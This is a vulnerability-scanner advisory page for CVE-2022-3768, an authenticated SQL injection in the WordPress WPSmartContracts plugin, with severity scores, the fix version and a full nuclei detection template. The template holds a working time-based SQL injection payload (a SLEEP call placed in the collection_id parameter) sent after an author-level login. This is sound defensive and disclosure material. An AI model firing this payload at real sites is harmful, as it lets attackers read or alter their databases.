WordPress WPSmartContracts <1.3.12 - SQL Injection

highseverity

8.8CVSS score

4.1%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

WordPress WPSmartContracts plugin before 1.3.12 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker with a role as low as author can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

Impact

An attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Fixed in version 1.3.12

How to confirm it

Send: POST /wp-login.php ; @timeout: 15s
Positive when: duration_2>=7 and status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "Batch Mint NFTs")

Run it with nuclei: nuclei -id CVE-2022-3768 -u <target>

The full check

id: CVE-2022-3768

info:
  name: WordPress WPSmartContracts <1.3.12 - SQL Injection
  author: Hardik-Solanki
  severity: high
  description: |
    WordPress WPSmartContracts plugin before 1.3.12 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker with a role as low as author can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    An attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version 1.3.12
  reference:
    - https://wpscan.com/vulnerability/1d8bf5bb-5a17-49b7-a5ba-5f2866e1f8a3
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3768
    - https://cve.report/CVE-2022-3768
    - https://bulletin.iese.de/post/wp-smart-contracts_1-3-11/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-3768
    cwe-id: CWE-89
    epss-score: 0.04071
    epss-percentile: 0.9077
    cpe: cpe:2.3:a:wpsmartcontracts:wpsmartcontracts:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wpsmartcontracts
    product: wpsmartcontracts
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wp-smart-contracts,wpscan,wp-plugin,sqli,wordpress,wp,authenticated,wpsmartcontracts,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        @timeout: 15s
        GET /wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(7)))hlAf)&uid=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=7'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "Batch Mint NFTs")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from